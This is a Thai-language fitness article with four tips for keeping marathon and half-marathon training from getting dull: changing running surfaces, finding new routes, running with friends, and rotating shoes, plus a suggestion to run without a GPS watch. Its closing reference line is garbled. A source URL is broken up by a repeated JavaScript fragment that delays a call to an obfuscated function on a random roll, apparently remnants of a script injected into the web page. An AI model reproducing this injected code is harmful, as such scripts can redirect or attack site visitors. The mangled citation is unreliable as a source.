วิธีง่ายๆ ที่จะช่วยให้การซ้อมวิ่งรูทีน (Routine) คุณไม่น่าเบื่อ

การฝึกซ้อมวิ่งเพื่อลงแข่งขันระยะทางไกลตั้งแต่ 21 จนถึง 42.195 กิโลเมตร จำเป็นต้องใช้สิ่งที่เรียกว่า “ระเบียบวินัย” หรือ Discipline สูงมาก มีหลายครั้งที่นักวิ่งเบื่อท้อและเลิกซ้อมวิ่งไป กะว่าจะไปวัดดวงเอาที่สนามแข่งเลย และอาการซ้อมไม่ถึง เตรียมตัวไม่พร้อมก็เป็นสาเหตุหลักของอาการบาดเจ็บ เรามาดูกันว่าจะเพิ่มรสชาติการฝึกซ้อมอย่างไรให้ไม่น่าเบื่อ

ซ้อมวิ่งไม่น่าเบื่อ: มาดูวิธีง่ายๆ ที่จะช่วยให้การซ้อมวิ่งรูทีน (Routine) คุณไม่น่าเบื่อ

1. ลองเปลี่ยนพื้นผิวฝึกซ้อมดู

การวิ่งบนพื้นลาดยางหรือพื้นคอนกรีตเรียบๆ แข็งๆ เดิมๆ ซ้ำไปมาไม่อาจจะทำให้มัดกล้ามเนื้อและข้อต่อต่างๆ ไปรับการบริหารให้แข็งแรงขึ้นได้ แถมเป็นการวิ่งที่ใช้ชุดกล้ามเนื้อเดิมๆ ซ้ำไปมาในการฝึก

เท้าของเรามีจุดข้อต่อที่เชื่อมกันมากถึง 33 จุด เมื่อมีการได้วิ่งบนพื้นผิวขรุขระ วิ่งบนพื้นดินแดงหรือพื้นหญ้าแบบ cross-country กล้ามเนื้อฝ่าเท้าจะมีการเคลื่อนไหวไปต่างจากการวิ่งบนพื้นเรียบ แรงถูกส่งกระจายไปต่างจากเดิม กล้ามเนื้อและข้อต่อก็ต้องมีการทำงานที่เพิ่มขึ้น ซึ่งจะช่วยเป็นการบริหารให้ฝ่าเท้า นิ้วเท้า ข้อเท้าและส้นเท้า แข็งแรงขึ้น

2. หาที่วิ่งใหม่ดู

วิธีการทำให้การวิ่งไม่น่าเบื่อแบบคลาสิกที่สุดคือ การหาที่วิ่งใหม่ เพราะการวิ่งที่เดิมนานๆ เข้าจะทำให้ระบบการต่อสนองของกล้าเนื้อและประสาททำงานช้าลง เรียกว่าจะตาบด้านเอา เพราะเป็นสถานที่คุ้ยเคย วิ่งแบบเดิมๆ จนร่างกายชิน เป็น Mindless robot แต่การปรับเปลี่ยนสถานที่วิ่งจะเป็นการกระตุ้นอารมณ์ ประสาทและประสาทสัมผัสร่างกายให้พร้อมรับประสบการณ์ใหม่ๆ รู้สึกมีความท้าทายเส้นทางใหม่ที่ไม่คุ้นเคย และแน่นอนว่าลักษณะท่วงท่าการวิ่งก็ต้องถูกปรับให้รับกับสภาพใหม่ๆ

3. วิ่งกับเพื่อนๆ

อาการนี้เรียกว่า พวกมากลากไป จะได้ทั้งระยะทางที่ต้องการ แต่ไม่รับประกันความเร็วที่จะถูกรบกวนให้วิ่งช้าเร็ว ตามกระแสกลุ่มเพื่อนๆ การวิ่งกับเพื่อนนั้นจังหวะของเราจะถูกรบกวนเสมอ ไม่สามารถวิ่งใน pace เดิมๆ ได้ เป็นฝึก Change of pace ที่ดี ช่วยพัฒนาระบบการไหลเวียนโลหิตและปอดให้มีความหลากหลายและอึดขึ้น ไปประสบการณ์วิ่งเป็นกลุ่มที่จะเหมือนในการวิ่งแข่งขัน นอกเหนือประโยชน์ของการฝึกร่างกาย การวิ่งกับเพื่อนๆ ยังจะช่วยในการปรับอารมณ์ให้ดีขึ้น ได้แลกเปลี่ยนพูดคุยเทคนิคการฝึกซ้อมไปจนถึงเรื่องจิปะถะต่างๆ

4. ซื้อรองเท้าเพิ่มอีกคู่

การซื้อรองเท้าเพิ่มอีกคู่ดูเหมือนว่าจะเป็นยาขนานแรงที่สุด เมื่อไหร่ที่ได้รองเท้าคู่ไหม่มา อะดรีนารีนจะหลั่งสั่งการสมองเราให้ออกไปวิ่งทันที และสำหรับการใส่ฝึกซ้อมนั้น การสลับเปลี่ยนรองเท้าจะช่วยให้กล้ามเนื้อเละข้อต่อต่างๆ ได้รับการบริหารฝึกซ้อมด้วย ถ้าใส่รองเท้าเดิม ชุดกล้ามเนื้อก็จะถูกใช้งานแบบเดิมๆ การเปลี่ยนรองเท้าก็จะให้ผลเหมือนการเปลี่ยนพื้นผิววิ่งเช่นกัน

ท้ายนี้มีอีกวิธีที่อยากแนะนำ นั้นคือการวิ่งโดยไม่ต้องมีการพึ่งพาเทคโนโลยี ให้ถอดนากา วางมือถือไว้ที่บ้านและออกวิ่งโดยใช้ความรู้สึกแทน ถ้าอย่างรู้ว่าผลการวิ่งแบบไม่มีนาฬิกา GPS คุม Pace จะดีไหม ให้ลองจดเวลาหรือจับเวลาตอนออกวิ่งและตอนเวลาวิ่งจบดูครับ บอกได้เลยว่าเราจะวิ่งเร็วขึ้นแบบไม่น่าเชื่อเลย นอกจากนี้สมองเราจะรู้สึกปลอดโปร่ง ไม่มีความกดดันที่เกิดจากนาฬิกาด้วยนะ

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com/health-fitness/exercise/10-tips-to-supercharge-your-running-routine?page=1%20%20″>www.quickandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com/